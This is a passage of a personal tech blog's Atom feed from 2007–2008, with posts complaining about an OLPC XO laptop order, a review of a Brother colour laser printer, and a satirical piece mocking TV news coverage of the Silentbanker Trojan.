shipped my laptop?"&lt;br /&gt;&lt;span style="font-style: italic;"&gt;OLPC scammer&lt;/span&gt;: "Please hold." (five minutes later) "Your laptop has not been shipped. We are sending another batch to you."&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Scammed OLPC  victim&lt;/span&gt;: "I didn't order a batch. I ordered one laptop."&lt;br /&gt;&lt;span style="font-style: italic;"&gt;OLPC scammer&lt;/span&gt;: "Please hold..." (five minutes later) "We are sending another batch to Canada."&lt;br /&gt;&lt;/blockquote&gt;This pointless dance went around and around for a while and both of realized we weren't going to get anything out of the deal. She ended the call. I fished out my credit card statement. After some consultation with the family, I am going to have that charge reversed; then cancel the laptop order.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3214131327936811569?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3214131327936811569/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3214131327936811569' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3214131327936811569'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3214131327936811569'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/olpc-dog-ate-my-laptop.html' title='OLPC -- The Dog Ate My Laptop'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-202645962263927132</id><published>2008-01-19T11:46:00.000-08:00</published><updated>2008-01-19T16:26:08.573-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Brother4070CDW'/><category scheme='http://www.blogger.com/atom/ns#' term='printer'/><category scheme='http://www.blogger.com/atom/ns#' term='Laser printer'/><title type='text'>Brother4070CDW - One Sweet Ride</title><content type='html'>&lt;p class="MsoNormal"&gt;To me: printers are milestones.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;As a boy, we snuck into the University computer lab to work on our project and use their printers to generate reams of documents every day. The first thing I financed was a dot matrix printer from Radio Shack. Ten years later, my first major purchase with my wife was a Canon inkjet printer. I bought a new printer (regrettably another Canon—an S400) to output the book from my first book deal. Each step of the way, it seems like the dollar-to-feature ratio improved, but the quality of the experience dropped. My Radio Shack printer spit out hundreds of clear and salable pages—by the time I got to the S400, the pages were crisp and clear but for every page it output, it mangled another one and spit out three blanks. Radio Shack: go to the video arcade and come back to a manuscript. Canon: ride it and baby-sit it for three days for 400 pages.&lt;span style=""&gt;  &lt;/span&gt;To me: “printer” had become a 4 letter word (I can prove it—at least once the printer smeared the word into a 4-letter tangle). &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Fast forward to 2007. A couple months ago I was given the chance to try the Brother 4070CDW color laser printer. After years of inkjets and end-user support for temperamental HP laser printers, I was skeptical. Part of me was excited—part of me feared a laser-equipped beast with a penchant for paper.&lt;/p&gt;    &lt;p class="MsoNormal"&gt;It arrived. It Arrived. The courier (a guy who spends his days dealing with all sorts of boxes of all sizes) knocked on the door empty-handed. “Oh, good. You are here,” he said, relieved. He went back to the truck and began to unload something the size of a mini-fridge and the apparent weight of Mini-Cooper. The Brother 4070CDW. We lumbered it into the house, I signed for it and he was off. That night, the two of us manhandled it up to the office. It’s a physically imposing printer, but it’s not like it’s a Soviet contraption: it has a generous tray, a manual feed slot, duplexing capacity and four large toner cartridges. Add in the heavy-duty machinery and you net a big, heavy, battle-ready printer.&lt;/p&gt;    &lt;p class="MsoNormal"&gt;This was not your mother’s inkjet printer. The hardware set-up instructions were a little cryptic but still I followed them with faith—the cartridges were color-coded and numbered. It was a 20-minute paint-by-numbers experience. At the end, we found the power switch (not in the most obvious spot) and powered it up. It hummed and churned and committed itself to a self-diagnosis. &lt;/p&gt;    &lt;p class="MsoNormal"&gt;We tasked it to spit out its self-diagnostic reports: everything from part usage, toner life and paper trays to its IP addressing and receptive services. The amount of detail it provides of itself is impressive.&lt;/p&gt;    &lt;p class="MsoNormal"&gt;We plugged it directly into the Ethernet hub (good-bye to needing a print server of any variety). Between the set-up guide and the easy to navigate console options, we were able to set-up the IP address and subnet mask in a few minutes. It was clear, flexible and easy to use. We had a wealth of options available: from IP address, Ipv6, printing via WLAN to an option to print from SMTP—mail your print job to the printer (somehow). Set-up right, you could park it on your network, open a hole through your firewall and any one could deliver a print job via the Internet. Beyond that, the mundane options are open to us: parallel port and USB printing. For us, this network ready printing was a Godsend. Otherwise, we would have to get a uni-tasker computer; making our print jobs dependant on the status of one of our computers (“sorry I crashed your Photoshop—I have to print this through your machine”); or spending $80-150 for a print server unit. &lt;/p&gt;  &lt;p class="MsoNormal"&gt;The print jobs it did were superb: they were clear and crisp. For simple text runs, this printer spits out pages like a paper-powered machine gun. For color, it chews on it for a while longer (not crazy long, just maybe a few seconds longer than black text) then starts to fire clear and vibrant pages. We tested different paper qualities and thicknesses and the Brother 4070CDW stood up to the test. Coming from inkjet land, I am gun-shy of printing color-saturated pages—they so often emerge like used blotchy, paper towels. Not so with the Brother: as long as you used 20lb. paper or better, the colors held fast. That said, photo paper experiments did look better than regular bond—but both looked impressive. The printer handled duplexing like it was second nature—it took a 200 page duplexed e-book and output it in less than 20 minutes. &lt;/p&gt;    &lt;p class="MsoNormal"&gt;Where I was impressed was with the direct printing options. Though this will not accomplish every imaginable task—it will do quite a bit. I took my Canon XTi camera and plugged it directly into the printer via a USB cable. The Brother4070CDW recognized its connection to the camera, I scrolled through photos on my camera and found the image I wanted to print, set it to print and the Brother did the rest. I was impressed with the interoperability of the two devices. I was impressed with the quality of the output. What I didn’t like—and I lay blame at the feet of the Canon people—is that all of the pictures came out in landscape on a portrait page leaving the top and bottom thirds of the paper un-used. This included photos that I had reoriented on the camera prior to this experiment. Next, I plugged a USB flash drive directly into the printer. A moment later, the Brother’s LCD display showed me the first item on the drive—a directory. I had the option of scrolling down the list of files and directories, or descending into a directory and working from there. When I found the file I wanted, I hit okay. It merrily interpreted it and output it. It handled PDFs flawlessly. It took my JPEGs and filled the page with the best match of paper to image possible—it did a much better job of working with the file than it did with the Canon XTi output. What it couldn’t do: it could not process GIFs, Word documents, HTML files or text files. What it does, it does great; but it couldn’t work with a lot of common formats. &lt;/p&gt;      &lt;p class="MsoNormal"&gt;&lt;!--[if !supportEmptyParas]--&gt;The Brother4070CDW stood up to what thought was a punishing regimen of large print jobs, high quality jobs and different paper formats. It handled its jobs better than the HP Laser printers I had become accustomed to. I felt I could have drilled deeper into the potential of this printer, but it frankly had features I would rarely tap into. Is that a weak point? No: it comes bristling with capability and capacity. As a home printer, it is much more expensive than an inkjet but I think the Total Cost of Ownership is much closer: factor in the endless babysitting; the perpetually empty inkjet cartridges and the anemic results you see from most inkjets. The price for the Brother4070CDW is worthwhile—even for the home user who has modest to heavy print demands. For business, it’s a no-brainer: if I were to set up an office, this would be a de facto purchase. I used to be someone who avoided work that involved a print job. The Brother4070CDW has turned me into a printer-user again. Ctrl-P.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-202645962263927132?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/202645962263927132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=202645962263927132' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/202645962263927132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/202645962263927132'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/brother4070cdw-one-sweet-ride.html' title='Brother4070CDW - One Sweet Ride'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-282811122095031503</id><published>2008-01-17T17:13:00.000-08:00</published><updated>2008-01-17T18:04:41.219-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='&quot;technical expert&quot;'/><category scheme='http://www.blogger.com/atom/ns#' term='silentbanker'/><category scheme='http://www.blogger.com/atom/ns#' term='&quot;small town news&quot;'/><title type='text'>Jan 30th-- the day "Silentbanker" wrecks Victoria</title><content type='html'>&lt;span style="font-style: italic;"&gt;Symantec is reporting the threat of the "&lt;/span&gt;&lt;a style="font-style: italic;" href="http://www.symantec.com/security_response/writeup.jsp?docid=2007-121718-1009-99"&gt;Silentbanker&lt;/a&gt;&lt;span style="font-style: italic;"&gt;" Trojan. That's not the concern. My concern is that a local TV channel, A-Channel News, reported it as a sky-is-falling catastrophe. Symantec reports it as a low-level threat. According to the news report, we're all doomed; and in a life &lt;/span&gt;&lt;span style="font-style: italic;" title="or lousy journalism"&gt;imitiating art example&lt;/span&gt;&lt;span style="font-style: italic;"&gt;, we actually be doomed.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The reporter went to a "security expert" who said that the trojan fouled up midi playback. His suggestion: go and download a midi player, test a midi. Yup: free software from unqualified websites-- they're always the safest place to go.&lt;/span&gt;&lt;br /&gt;So here's how this will play out:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thursday at dinner:&lt;/span&gt; &lt;span title="Chicken Lady Little"&gt;&lt;u&gt;Chicken Little&lt;/u&gt;&lt;/span&gt; reports that Silentbanker will destroy us all.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thursday night:&lt;/span&gt; Following the suggestion of a guy with an office in the back of computer store warehouse, Vancouver Island residents flock out to the Internet. They get the good midi players and test their systems.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Friday morning&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;(10:00-10:30): &lt;/span&gt;Water cooler talk spreads this story through the government offices peppered around Victoria.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Friday afternoon:&lt;/span&gt; Hackers, get out of bed, ask their mothers/girlfriends to bring a Coke up to their room. They figure out that you should distribute Silentbanker disguised inside of a midi player. Hackers find code from 1995, combine it with some ActiveX controls and upload Midi players to download sites.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Friday night:&lt;/span&gt; Victoria residents look online for a midi-player to download and test for the precense of Silentbanker. The test passes (the hacker figured a workaround).&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Saturday:&lt;/span&gt; Throngs of Victorians do online banking since the test passed.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Monday:&lt;/span&gt; Local credit unions notice that alot of their customers bought lottery tickets in the Ukraine and zeroed out their accounts. They try to make good and restore the balances of some of the accounts. Unfortunately for them, their wealthy customers are also their stupid customers-- they lose large balances. Big banks, experiencing the same problem, add a menu option to their toll-free support: "Press 7 if your live in Victoria"-- that sends you to a voice mailbox that no one at the bank listens to.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tuesday:&lt;/span&gt; Scandal rocks the local credit unions.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thursday:&lt;/span&gt; All of the credit unions have gone through emergency mergers. By the time this is done, all of our credit unions are rebranded as "Walmart Credit Store"&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Friday:&lt;/span&gt; the big banks have liquidated their locations and laid off their staff. In their place, MoneyMarts.&lt;br /&gt;&lt;br /&gt;Elsewhere in the world: this won't happen. Victoria is the Mecca for stupid people. It's why I live here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-282811122095031503?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/282811122095031503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=282811122095031503' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/282811122095031503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/282811122095031503'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/jan-30th-day-silentbanker-wrecks.html' title='Jan 30th-- the day &quot;Silentbanker&quot; wrecks Victoria'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2944921957851306425</id><published>2008-01-17T10:12:00.000-08:00</published><updated>2008-01-17T10:23:16.999-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FedEx'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><category scheme='http://www.blogger.com/atom/ns#' term='fraud'/><title type='text'>OLPC -- Please call later... or never... your choice...</title><content type='html'>So, OLPC-- the XO laptop people have two phone numbers--&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1-800-201-7144&lt;/span&gt;-- still a piss-off number that reports "All circuits are busy".&lt;br /&gt;and&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1-877-705-2786&lt;/span&gt;-- when you try to navigate through the phone tree you get recorded messages. When you try to do a follow-up on the laptop you've ordered, it comes back with a "all our operators are busy. Please try your call in a few minutes." then hangs up. So, you are no longer in a queue-- you're punting to the street until you can magically call in when their lone operator isn't on the line to her local suicide prevention line.&lt;br /&gt;&lt;br /&gt;I wanted to know:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;can they give me a real FedEx tracking number?&lt;/li&gt;&lt;li&gt;has my laptop already been delivered and re-donated? Supposedly, in Canada FedEx is just dropping them at the door and taking off. Are they knocking first?  Couriers suck, so who knows&lt;/li&gt;&lt;li&gt;WTF?&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2944921957851306425?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2944921957851306425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2944921957851306425' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2944921957851306425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2944921957851306425'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/olpc-please-call-later-or-never-your.html' title='OLPC -- Please call later... or never... your choice...'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1323139445427244552</id><published>2008-01-13T09:14:00.000-08:00</published><updated>2008-01-13T09:22:28.304-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='one laptop per child'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><title type='text'>OLPC -- We have computers?</title><content type='html'>A few weeks ago, I emailed one-laptop-per-child:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;When will my laptop arrive? &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;I tried to track my shipment via the Shipping Status function on the &lt;/span&gt;&lt;a style="color: rgb(102, 102, 102); font-style: italic;" href="http://laptopgiving.org/" target="_blank"&gt;laptopgiving.org&lt;/a&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt; site. It said that I was using an invalid number. I ordered this on November 12th, I was promised that it would arrive before December 25th. When will it arrive? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;Thanks,&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Eventually, a reply arrived:&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(204, 0, 0);"&gt;Please contact our Donor Services so a representative will be able to assist you with your inquiry at &lt;span title="This is NOT A WORKING NUMBER"&gt;&lt;u&gt;1-800-201-7144&lt;/u&gt;&lt;/span&gt;. Please obtain your donation information in hand so the representative may.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(204, 0, 0);"&gt;Thank You &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(204, 0, 0);"&gt;OLPC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(204, 0, 0);"&gt;Donor Services &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I replied:&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;Hello,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;I'm sorry-- do you have a relationship with the organization that accepted our money for this donation and G1G1 program? I have to ask because you do not seem to know what your organization is doing with this transaction. Asking me to call another number within an organization tells me that no one in your organization knows what is going on. Have you thought of using a computer to track orders?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;Thank you,&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;So what's the deal? They want me to contact their phone number? They don't know what they're doing? They &lt;span style="font-weight: bold;"&gt;don't&lt;/span&gt; know what they're doing.&lt;br /&gt;"Please obtain your donation information in hand so the representative may."... What? They're in such a panic, they can't even finish their automated piss-off messages.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1323139445427244552?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1323139445427244552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1323139445427244552' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1323139445427244552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1323139445427244552'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/olpc-we-have-computers.html' title='OLPC -- We have computers?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2188103031704277932</id><published>2008-01-09T09:03:00.000-08:00</published><updated>2008-01-13T09:14:08.613-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='one laptop per child'/><category scheme='http://www.blogger.com/atom/ns#' term='FedEx'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><title type='text'>OLPC -- Here's your "tracking" number</title><content type='html'>Eventually, I got through to the One Laptop phone line. They give you a number: 1-800-201-7144-- that's a piss-off number that reports "All circuits are busy". I tried&lt;br /&gt;1-877-705-2786: after 30 minutes on hold, I got through.  They gave me a shipping number for my laptop. When it's shipped via FedEx, I will be able to track the order. Here are two great gotchyas:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;They give you a tracking number-- that doesn't mean it's been shipped. It means when its shipped it will carry this number and you can track it. &lt;/li&gt;&lt;li&gt;They gave me a 10 digit tracking number. The problem: FedEx tracking numbers are 12-digits. So the tracking number is as useful as Confederate Currency.&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2188103031704277932?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2188103031704277932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2188103031704277932' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2188103031704277932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2188103031704277932'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/olpc-heres-your-tracking-number.html' title='OLPC -- Here&apos;s your &quot;tracking&quot; number'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4799394322995675378</id><published>2008-01-02T16:41:00.000-08:00</published><updated>2008-01-02T16:56:09.244-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XO laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='one laptop per child'/><category scheme='http://www.blogger.com/atom/ns#' term='Negroponte'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><title type='text'>OLPC -- Scheduled to Arrive the Day After the Developing World Gets a Fair Shake</title><content type='html'>In our continuing saga to get an XO laptop, here is the latest non-news:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;W&lt;/span&gt;e &lt;span style="font-weight: bold;"&gt;a&lt;/span&gt;re i&lt;span style="font-weight: bold;"&gt;n&lt;/span&gt; receipt of your email. Due to the public's overwhelming&lt;br /&gt;response to the Give One Get One program, there may be a delay in the&lt;br /&gt;handling of your inquiry.&lt;br /&gt;&lt;br /&gt;If you have not yet received your laptop, we are wor&lt;span style="font-weight: bold;"&gt;k&lt;/span&gt;ing hard to g&lt;span style="font-weight: bold;"&gt;e&lt;/span&gt;t&lt;br /&gt;it to you. If you live within the United States, you should &lt;span style="font-weight: bold;"&gt;r&lt;/span&gt;eceive&lt;br /&gt;your laptop no later than January 15, 2008. If you live in Canada, you&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;s&lt;/span&gt;hould receive your laptop in the January/February 2008 timeframe.&lt;br /&gt;&lt;br /&gt;If you have received your XO laptop and need help getting started or&lt;br /&gt;for technical questions, please visit &lt;a href="http://www.laptopgiving.org/start" target="_blank"&gt;www.laptopgiving.org/start&lt;/a&gt;. To&lt;br /&gt;learn more about T-Mobile USA's offer to provide one year of&lt;br /&gt;complimentary access to T-Mobile HotSpot, please visit our website at&lt;br /&gt;&lt;a href="http://www.laptopgiving.org/pin" target="_blank"&gt;www.laptopgiving.org/pin&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Please expect to hear back from us within 3-5 business days.&lt;br /&gt;&lt;br /&gt;Thank you again for contacting One Laptop Per Child!&lt;/blockquote&gt;&lt;br /&gt;Here's the summary:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;they cannot deliver to countries outside of the US. That's ironic. While much of the US is destitute, the goal was to get these computers to people outside of the developed world.&lt;/li&gt;&lt;li&gt;alot of laptops are arriving broken; or the boxes are arriving empty. Shouldn't more of these laptops be working?&lt;br /&gt;&lt;/li&gt;&lt;li&gt;while LaptopGiving.org cannot give me an XO laptop, &lt;a href="http://computers.attr-search.ebay.com/XO-laptop_Laptops-Notebooks_New-Sealed-in-Box_W0QQa10244Z10425QQa12ZQ2d24QQa14ZQ2d24QQa25710ZQ2d24QQa26444ZQ2d24QQa26446ZQ2d24QQalistZa14Q2ca26092Q2ca26444Q2ca12Q2ca25710Q2ca26446Q2ca10244QQcatrefZC6QQcurcatZtrueQQfbdZ1QQfclZ3QQfisZ2QQfposZV9AQ203R6QQfromZR14QQfrppZ50QQfsooZ1QQfsopZ1QQfssZ0QQftrtZ1QQftrvZ1QQgcsZ1505QQmaxrecordsreturnedZ300QQnojsprZyQQpfidZ1811QQpfmodeZ1QQsaaffZafdefaultQQsaatcZ2QQsabfmtsZ0QQsacatZ51148QQsacqyopZgeQQsacurZ0QQsadisZ200QQsaobfmtsZexsifQQsaslopZ1QQsofocusZbsQQsorefinesearchZ1"&gt;eBay can&lt;/a&gt;. And the eBay procured laptop costs less than the $400 we shelled out.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4799394322995675378?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4799394322995675378/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4799394322995675378' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4799394322995675378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4799394322995675378'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2008/01/olpc-scheduled-to-arrive-day-after.html' title='OLPC -- Scheduled to Arrive the Day After the Developing World Gets a Fair Shake'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-15645245213606980</id><published>2007-12-17T17:17:00.000-08:00</published><updated>2007-12-17T17:21:29.711-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='XO laptop'/><category scheme='http://www.blogger.com/atom/ns#' term='one laptop per child'/><category scheme='http://www.blogger.com/atom/ns#' term='Negroponte'/><category scheme='http://www.blogger.com/atom/ns#' term='OLPC'/><title type='text'>no XO, a non-update</title><content type='html'>I have been following the &lt;a href="http://www.olpcnews.com/"&gt;OLPC News&lt;/a&gt; site. Bricks, concerns and lots of people waiting for their laptops.&lt;br /&gt;&lt;br /&gt;I am in the last category: I am waiting for my laptop to show up. When I phoned, the window was to be December 14th-24th for people who bought laptops on the first day. So, we are in the window... waiting...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-15645245213606980?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/15645245213606980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=15645245213606980' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/15645245213606980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/15645245213606980'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2007/12/no-xo-non-update.html' title='no XO, a non-update'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry></feed>
